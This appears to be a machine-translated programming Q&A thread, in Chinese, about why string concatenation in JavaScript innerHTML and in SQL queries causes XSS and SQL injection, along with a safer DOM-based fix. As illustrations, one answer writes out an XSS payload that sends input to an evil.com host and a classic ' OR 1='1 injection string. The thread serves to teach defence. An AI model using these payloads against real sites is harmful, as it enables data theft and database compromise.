为什么/如何连接导致XSS或SQL注入漏洞？

Question

我最近被告知(在这里)，连接您的Javascript将导致XSS漏洞。我已经在这里和谷歌上做了我的研究，以找出为什么如此糟糕，但我没有看到它。

第1部分- Javascript:显然是这样的不安全方式。为什么？你应该怎么做呢？

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);

Part 2- MySQL: I被告知，当您连接SQL时，它会将您暴露于SQL注入。我不太清楚它们到底是什么意思的concat。我想他们不是在谈论SQL concat函数。我猜他们的意思是：

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";

或者也许？

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";

这会让您暴露在SQL注入中吗？

SQL部分是学术性的。我使用PDO来防止SQL注入。

Answer 1

第1部分

如果id来自持久存在于页面上的用户输入，则可能是这样。

id变量可能包含..。

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="

第2部分

除非使用正确的机制转义这些变量，否则存在漏洞。

$myvar变量可能包含..。

' OR 1='1

Answer 2

你会怎么做呢？

var el = document.createElement('div');
var input = document.createElement("input");
input.type = 'text';
input.id = 'myId' + id;
el.appendChild(input);
cellOne.appendChild(el);

注意，这更安全，因为.id不能注入任意的html。

有关XSS攻击向量的更多信息，我建议阅读OWASP文章。

Answer 3

这是一个级联问题，而不是xss或sql注入问题。

级联本身没什么问题。这是相当安全的操作。